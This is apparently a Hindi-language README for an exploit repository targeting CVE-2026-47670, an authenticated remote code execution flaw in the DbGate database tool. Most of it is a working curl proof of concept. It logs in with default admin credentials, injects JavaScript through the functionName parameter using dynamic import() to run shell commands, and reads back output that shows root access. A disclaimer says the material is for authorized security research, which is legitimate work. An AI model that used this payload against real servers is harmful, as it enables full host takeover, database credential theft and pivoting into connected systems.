
DbGate में loadReader functionName कोड इंजेक्शन द्वारा प्रमाणित रिमोट कोड निष्पादन
DbGate के loadReader फंक्शननेम कोड इंजेक्शन के माध्यम से प्रमाणित रिमोट कोड निष्पादन
DbGate एक ओपन-सोर्स, क्रॉस-प्लेटफॉर्म डेटाबेस प्रबंधन उपकरण है जो डेवलपर्स और डेटाबेस प्रशासकों के लिए डिज़ाइन किया गया है, जिन्हें एक साथ कई डेटाबेस सिस्टम के साथ काम करने की आवश्यकता होती है। यह SQL और NoSQL डेटाबेस - जिसमें MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle, और अन्य शामिल हैं - के प्रबंधन के लिए एक एकीकृत वेब-आधारित और डेस्कटॉप इंटरफ़ेस प्रदान करता है, बिना विभिन्न क्लाइंट एप्लिकेशन के बीच स्विच किए। DbGate Windows, macOS, और Linux पर एक स्वतंत्र डेस्कटॉप एप्लिकेशन के रूप में चलता है, या Docker के माध्यम से एक वेब एप्लिकेशन के रूप में तैनात किया जा सकता है, जो इसे टीम वातावरण और दूरस्थ डेटाबेस प्रशासन परिदृश्यों के लिए लोकप्रिय बनाता है।
CVE-2026-47670 एक प्रमाणित रिमोट कोड निष्पादन (RCE) भेद्यता है जो DbGate संस्करणों को 7.1.9 से पहले प्रभावित करती है। यह दोष /runners/load-reader एंडपॉइंट में मौजूद है, जहां functionName पैरामीटर उचित स्वच्छता के बिना एक असुरक्षित कोड निष्पादन पथ पर भेजा जाता है। मान्य DbGate क्रेडेंशियल वाला हमलावर इस पैरामीटर के माध्यम से मनमाना जावास्क्रिप्ट कोड इंजेक्ट कर सकता है, जो सर्वर पर रूट विशेषाधिकारों के साथ निष्पादित होता है। यह भेद्यता विशेष रूप से खतरनाक है क्योंकि एप्लिकेशन के require = null शमन को गतिशील import() कथनों का उपयोग करके आसानी से दरकिनार किया जा सकता है, जिससे हमलावर शेल उत्पन्न कर सकते हैं, डेटाबेस क्रेडेंशियल चुरा सकते हैं, जुड़े डेटाबेस सर्वरों पर पिवट कर सकते हैं, या होस्ट सिस्टम से पूरी तरह समझौता कर सकते हैं।
# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
यह रिपॉजिटरी और इसकी सामग्री विशेष रूप से वैध सुरक्षा अनुसंधान, अधिकृत पेनिट्रेशन टेस्टिंग, शैक्षणिक अध्ययन, और रक्षात्मक उद्देश्यों के लिए प्रदान की जाती है। इस सामग्री तक पहुँचने या उपयोग करने से, आप यह स्वीकार करते हैं कि आपकी गतिविधियाँ सभी लागू कानूनों का अनुपालन करती हैं, और आपने किसी भी ऐसे सिस्टम का परीक्षण करने या इन तकनीकों को लागू करने से पहले उचित प्राधिकरण प्राप्त कर लिया है जो आपके स्वामित्व में नहीं है। इस परियोजना के लेखक और अनुरक्षक इस जानकारी के अनुप्रयोग से होने वाली किसी भी क्षति, कानूनी परिणाम, या दुरुपयोग के लिए कोई देयता नहीं मानते हैं। अनधिकृत पहुँच, दुर्भावनापूर्ण गतिविधि, या अवैध उद्देश्यों के लिए कोई भी उपयोग स्पष्ट रूप से निषिद्ध और समर्थित नहीं है।
जिम्मेदारी से उपयोग करें। कानूनी रहें। केवल उसी का परीक्षण करें जो आपका है या जिसके लिए आपके पास स्पष्ट लिखित अनुमति है।
SCT-PL